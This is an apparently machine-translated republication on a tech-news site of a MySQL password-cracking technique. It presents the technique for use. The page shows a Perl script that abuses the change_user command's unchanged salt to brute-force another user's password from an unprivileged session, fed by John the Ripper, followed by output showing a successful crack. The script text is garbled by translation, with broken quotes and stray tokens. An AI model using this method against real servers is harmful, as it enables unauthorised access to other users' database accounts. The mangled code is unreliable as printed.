In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-21 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >
Share
Shulou(Shulou.com)05/31 Report--
This article introduces how to crack local and remote passwords in MySQL. The content is very detailed. Interested friends can use it for reference. I hope it will be helpful to you.
The methods are as follows:
The attacker logs in to the MySQL server with an unprivileged account, and mysql has a command called change_user, which can be used to modify the name suggestion of a user in a mysql session. Because this command executes very quickly, it can be used to crack the mysql password quickly instead of reconnecting to the mysql server every time.
What makes it very slow?
Because using the change_user command does not change the SALT (which is a weakness), the regular method of cracking the password sends a different SALT to the server each time it connects.
Here is a Perl script that uses John the Ripper's method to generate passwords:
The user tested is a crackme password of pass, which can be cracked in a few seconds.
(100,000 passwords can be tested in about 20 seconds)
The test script is as follows:
Use Net::MySQL;$ | = 1 secret my $mysql = Net::MySQL- > new (hostname = > '192.168.2.3, database = >' test', user = > "user", password = > "secret", debug = > 0,); $crackuser = "crackme"; while () {chomp;$currentpass = $_; $vv = join ", $crackuser,"\ x14 ". Net::MySQL::Password- > scramble ($currentpass, $mysql- > {salt}, $mysql- > {client_capabilities}). "; if ($mysql- > _ execute_command ("\ x11 ", $vv) ne undef) {print" [*] Cracked!-- > $currentpass\ n "; exit;}}
Here are the results of the execution on my machine:
C:\ Users\ kingcope\ Desktop > C:\ Users\ kingcope\ Desktop\ john179\ run\ jo
Hn-- incremental-- stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
Words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
Words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
Words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
Words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
Words: 65530 time: 0:00:00:12 w/s: 5354 current: ch241
Words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
Words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked!-> pass
Words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted
I wish you a long way:)
Via grok
About how to crack local and remote passwords in MySQL to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.